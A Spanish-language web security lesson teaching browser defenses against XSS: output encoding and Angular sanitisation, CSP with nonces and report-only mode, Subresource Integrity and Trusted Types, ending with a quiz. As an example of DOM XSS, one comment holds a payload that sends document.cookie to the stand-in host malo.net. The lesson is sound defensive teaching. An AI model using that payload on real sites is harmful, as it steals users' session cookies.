Lección 3 de 612 min
Defensas del navegador: CSP, SRI y Trusted Types
Cómo frenar el XSS y los scripts manipulados con cabeceras y atributos que el navegador hace cumplir.
Un usuario escribe en los comentarios de tu tienda un texto que, en lugar de mostrarse, se ejecuta. A partir de ese momento, cada persona que abra esa página ejecuta su código como si fuera tuyo: puede leer lo que hay en pantalla, enviar peticiones con su sesión o mostrarle un formulario de login falso. Es el XSS, uno de los fallos más frecuentes y más graves de la web.
La primera defensa está en tu código: tratar los datos como texto. Pero los navegadores ofrecen además mecanismos que tú declaras y ellos hacen cumplir: la Content Security Policy, que decide qué scripts pueden ejecutarse; Subresource Integrity, que comprueba que un archivo de terceros no ha cambiado; y Trusted Types, que obliga a que todo HTML pase por un filtro antes de llegar al DOM.
El XSS y la primera línea de defensa
XSS (Cross-Site Scripting)
Un atacante consigue que su JavaScript se ejecute dentro de tu página.
- Variantes:
- Almacenado, reflejado, DOM
El XSS ocurre cuando un dato que controla el atacante acaba interpretado como código en tu página. Como ese código se ejecuta en tu origen, tiene los mismos permisos que tu propio JavaScript: lee el DOM, hace peticiones con la sesión del usuario y modifica lo que ve.
Hay tres variantes. Almacenado: el código malicioso se guarda en tu base de datos, por ejemplo en un comentario, y se sirve a todos los visitantes. Reflejado: viaja en un parámetro de la URL y el servidor lo copia en la respuesta; la víctima solo tiene que abrir un enlace preparado. Basado en el DOM: tu propio JavaScript lee un dato, como location.hash, y lo escribe con innerHTML; el servidor ni siquiera lo ve.
Úsalo cuando
Piensa en el XSS cada vez que muestres algo que no has escrito tú: comentarios, nombres de usuario, parámetros de la URL o respuestas de APIs de terceros.
Ten en cuenta
Validar la entrada ayuda, pero no basta: un apellido como O'Brien es válido y debe poder mostrarse. La defensa principal está en el momento de mostrar el dato, no en el de recibirlo.
// URL: /buscar#<img src=x onerror="fetch('https://malo.net/?c=' + document.cookie)">
const termino = decodeURIComponent(location.hash.slice(1));
// Mal: el navegador interpreta el texto como HTML y ejecuta el onerror
resultado.innerHTML = `Resultados para ${termino}`;
// Bien: el texto se muestra tal cual, sin interpretarse
resultado.textContent = `Resultados para ${termino}`;Codificación de salida y saneamiento en Angular
Mostrar los datos como texto y, si tiene que ser HTML, limpiarlo antes.
- En Angular:
- Por defecto
- Fuera de él:
- DOMPurify
Codificar la salida es convertir los caracteres especiales en su versión inofensiva justo al mostrarlos: < se escribe <, y el navegador pinta el símbolo en lugar de abrir una etiqueta. Las reglas cambian según el contexto (texto HTML, un atributo, una URL, dentro de un script), por eso es mejor dejar ese trabajo a tu framework que concatenar cadenas a mano.
Angular lo hace por defecto: la interpolación {{ }} y los bindings de propiedades tratan todo como texto. Si enlazas HTML con [innerHTML], Angular lo sanea: elimina los <script>, los atributos como onerror y las URLs javascript:, y en desarrollo avisa en la consola de lo que ha quitado.
La vía de escape es DomSanitizer.bypassSecurityTrustHtml(), que desactiva esa limpieza. Su nombre asusta a propósito: úsala solo con contenido que controlas por completo, nunca con algo que haya escrito un usuario.
Úsalo cuando
Siempre: interpola con {{ }} por defecto y recurre a [innerHTML] solo cuando necesites HTML de verdad, como el contenido de un CMS. Fuera de Angular, usa una librería probada como DOMPurify.
Ten en cuenta
El saneamiento de Angular solo actúa en sus plantillas. Si manipulas el DOM a mano con ElementRef o document, vuelves a estar solo. React tiene la misma trampa con dangerouslySetInnerHTML.
import { Component, input } from "@angular/core";
@Component({
selector: "app-comentario",
template: `
<!-- Texto: las etiquetas se ven escritas, no se ejecutan -->
<p>{{ autor() }}</p>
<!-- HTML saneado: Angular quita <script>, onerror, javascript:… -->
<div [innerHTML]="cuerpo()"></div>
`,
})
export class Comentario {
autor = input.required<string>();
cuerpo = input.required<string>();
}Nota
Las vías de escape de los frameworks tienen nombres que asustan por algo: bypassSecurityTrustHtml en Angular y dangerouslySetInnerHTML en React. Si aparecen en una revisión de código, pregunta siempre de dónde viene el dato.
Content Security Policy
Aunque cuides cada plantilla, un error se acaba colando. La CSP es la segunda línea: aunque el atacante consiga inyectar un script, el navegador se niega a ejecutarlo.
Content Security Policy (CSP)
Una cabecera que le dice al navegador qué scripts tiene permiso para ejecutar.
- Cabecera:
- Content-Security-Policy
- Directiva clave:
- script-src
La CSP se envía en la cabecera Content-Security-Policy y define, por tipo de recurso, qué fuentes están permitidas. La directiva más importante es script-src. Con una CSP estricta, los scripts en línea y los atributos como onclick dejan de ejecutarse salvo que tú los autorices.
La forma recomendada de autorizarlos es con un nonce: un valor aleatorio que tu servidor genera en cada respuesta y que pone tanto en la cabecera como en cada <script nonce="…"> legítimo. El atacante no puede adivinarlo, así que su script inyectado no se ejecuta. Con 'strict-dynamic', los scripts que cargue un script autorizado también se aceptan, y no tienes que mantener una lista de dominios.
Las listas de dominios (script-src https://cdn.ejemplo.com) parecen más sencillas, pero suelen poder saltarse: basta con que el dominio permitido aloje algún script que el atacante pueda aprovechar.
Úsalo cuando
En cualquier aplicación con datos de usuarios. Angular admite nonces con el atributo ngCspNonce, y las versiones recientes del CLI pueden generar una CSP basada en hashes al compilar.
Ten en cuenta
'unsafe-inline' anula casi toda la protección contra XSS. Y el nonce debe ser distinto en cada respuesta: si lo fijas en el código o lo cachea una CDN, deja de ser secreto.
Content-Security-Policy: script-src 'nonce-r4nd0mXyz' 'strict-dynamic';
object-src 'none'; base-uri 'none'
<!-- El nonce cambia en cada respuesta -->
<script nonce="r4nd0mXyz" src="/app.js"></script>
<!-- Inyectado en un comentario: no lleva el nonce, no se ejecuta -->
<script>robarSesion()</script>CSP en modo report-only
Probar una política sin bloquear nada: el navegador solo informa de lo que habría frenado.
- Bloquea:
- Nada, solo informa
Con la cabecera Content-Security-Policy-Report-Only, el navegador evalúa la política, pero no bloquea nada: solo envía un informe cada vez que algo la habría incumplido. Así descubres qué scripts en línea, qué dominios o qué atributos onclick romperían tu web antes de activarla de verdad.
Puedes enviar las dos cabeceras a la vez: una política que ya aplicas y otra más estricta en pruebas. Los informes se envían con la directiva report-to, que es la moderna, o con report-uri, la antigua; mientras el soporte se iguala, muchas webs envían ambas.
Úsalo cuando
Siempre que introduzcas o endurezcas una CSP en una aplicación que ya existe. Déjala unos días en este modo y revisa los informes antes de pasarla a la cabecera normal.
Ten en cuenta
Los informes traen mucho ruido: las extensiones del navegador inyectan sus propios scripts. Agrupa los informes por origen antes de sacar conclusiones. Este modo no se puede declarar con una etiqueta <meta>, solo con la cabecera.
Reporting-Endpoints: csp="https://tienda.com/informes-csp"
Content-Security-Policy-Report-Only: script-src 'nonce-r4nd0mXyz' 'strict-dynamic';
object-src 'none'; base-uri 'none'; report-to cspIntegridad y tipos de confianza
Subresource Integrity (SRI)
El navegador comprueba que un archivo de terceros es exactamente el que esperabas.
- Atributo:
- integrity
- Hashes:
- SHA-256, 384 o 512
Cuando cargas una librería desde una CDN pública, confías en que nadie la modifique. Con el atributo integrity indicas el hash del archivo que esperas; el navegador lo calcula al descargarlo y, si no coincide, se niega a ejecutarlo. Si la CDN es atacada y sirve una versión manipulada, tu web simplemente no la carga.
Para los recursos de otro origen hace falta además crossorigin="anonymous": el navegador los pide en modo CORS, sin cookies, y así puede leer el contenido para verificarlo. Funciona en <script> y en <link rel="stylesheet">.
Úsalo cuando
Con cualquier script o CSS que cargues de un dominio que no controlas y que tenga una versión fija. El CLI de Angular puede añadir los hashes a tus propios archivos con la opción subresourceIntegrity.
Ten en cuenta
Solo vale para archivos que no cambian: si la URL apunta a «la última versión», el hash dejará de coincidir y el script dejará de cargar. Tampoco cubre los scripts que esa librería cargue después por su cuenta.
<script
src="https://cdn.ejemplo.com/graficos@4.2.0/graficos.min.js"
integrity="sha384-AQUI_VA_EL_HASH_EN_BASE64"
crossorigin="anonymous"></script>
<!-- Para calcular el hash del archivo exacto que vas a cargar:
openssl dgst -sha384 -binary graficos.min.js | openssl base64 -A -->Trusted Types
El navegador rechaza cualquier texto en los puntos peligrosos del DOM si no pasa por tu filtro.
- Directiva:
- require-trusted-types-for
El XSS basado en el DOM nace siempre en unos pocos puntos peligrosos, llamados sinks: innerHTML, outerHTML, document.write, eval o el src de un script. Con la directiva de CSP require-trusted-types-for 'script', el navegador deja de aceptar cadenas de texto en ellos y lanza un error.
Solo acepta objetos especiales, como TrustedHTML, que crea una política que tú defines con trustedTypes.createPolicy. Así, todo el HTML que entra en el DOM pasa obligatoriamente por unas pocas funciones revisadas, por ejemplo una que llama a DOMPurify, en lugar de por cientos de líneas repartidas por el código.
Úsalo cuando
En aplicaciones grandes en las que es difícil revisar cada innerHTML. Angular es compatible y su documentación indica qué nombres de política debes permitir.
Ten en cuenta
Durante años solo lo implementaron los navegadores basados en Chromium; los demás lo han ido incorporando en versiones recientes. Consulta su estado en MDN. Donde no está soportado, la directiva se ignora, así que funciona como una mejora, no como tu única defensa.
// Cabecera: Content-Security-Policy: require-trusted-types-for 'script'; trusted-types sanear
const politica = trustedTypes.createPolicy("sanear", {
createHTML: (texto) => DOMPurify.sanitize(texto),
});
zona.innerHTML = comentario;
// TypeError: este punto del DOM exige TrustedHTML
zona.innerHTML = politica.createHTML(comentario);
// Funciona: el HTML pasa antes por DOMPurify¿Sabías que…?
Las tres defensas de esta lección tienen algo en común: tú solo declaras una regla en una cabecera o un atributo, y es el navegador quien la hace cumplir en el dispositivo del usuario, incluso cuando tu código tiene un error.
Interactivo
Cuatro capas contra el código malicioso
Activa o desactiva opciones para compararlas cara a cara.
| Característica | Codificación de salida | CSP | SRI |
|---|---|---|---|
| Qué evita | Que un dato se interprete como código | Que se ejecuten scripts no autorizados | Cargar un archivo de terceros manipulado |
| Dónde se declara | En las plantillas | Cabecera Content-Security-Policy | Atributo integrity |
| Quién lo aplica | Tu framework | El navegador | El navegador |
| Papel | Prevención: la primera línea | Mitigación: frena el XSS que se cuela | Protege frente a una CDN comprometida |
Ponlo en práctica
Saber qué es cada cosa es la mitad del trabajo. La otra mitad es reconocer cuándo usarla.
Interactivo
¿Qué usarías?
Lee cada situación y elige la opción que mejor la resuelve. Fallar aquí no cuenta: es para practicar.
Un usuario escribe <script> en su nombre de perfil y, al ver su perfil, otros usuarios ejecutan ese código. Necesitas que el nombre se muestre simplemente como texto.
Para recordar
- El XSS permite al atacante ejecutar código con los permisos de tu página; puede ser almacenado, reflejado o basado en el DOM.
- La primera defensa es mostrar los datos como texto: Angular lo hace por defecto y sanea el HTML de
[innerHTML]. - Una CSP estricta con nonces y
'strict-dynamic'impide que se ejecute el script que se cuele; pruébala antes en modo report-only. - SRI protege frente a archivos de terceros manipulados, siempre que su versión esté fijada.
- Trusted Types obliga a que todo el HTML que llega a los puntos peligrosos del DOM pase por tus políticas.
Comprueba lo aprendido
Cuestionario
Responde las 5 preguntas para completar la lección.
1.¿Qué variante de XSS puede no pasar nunca por tu servidor?
2.Tu web usa una CSP con nonces. Un atacante consigue guardar
<script>robar()</script>en un comentario. ¿Qué ocurre al mostrarlo?3.¿Qué aporta
'strict-dynamic'en una CSP basada en nonces?4.Añades
integritya un script de una CDN de otro dominio, pero olvidascrossorigin="anonymous". ¿Qué pasa?5.En una plantilla de Angular escribes
<p>{{ nombre }}</p>ynombrevale<b>Ana</b>. ¿Qué se ve?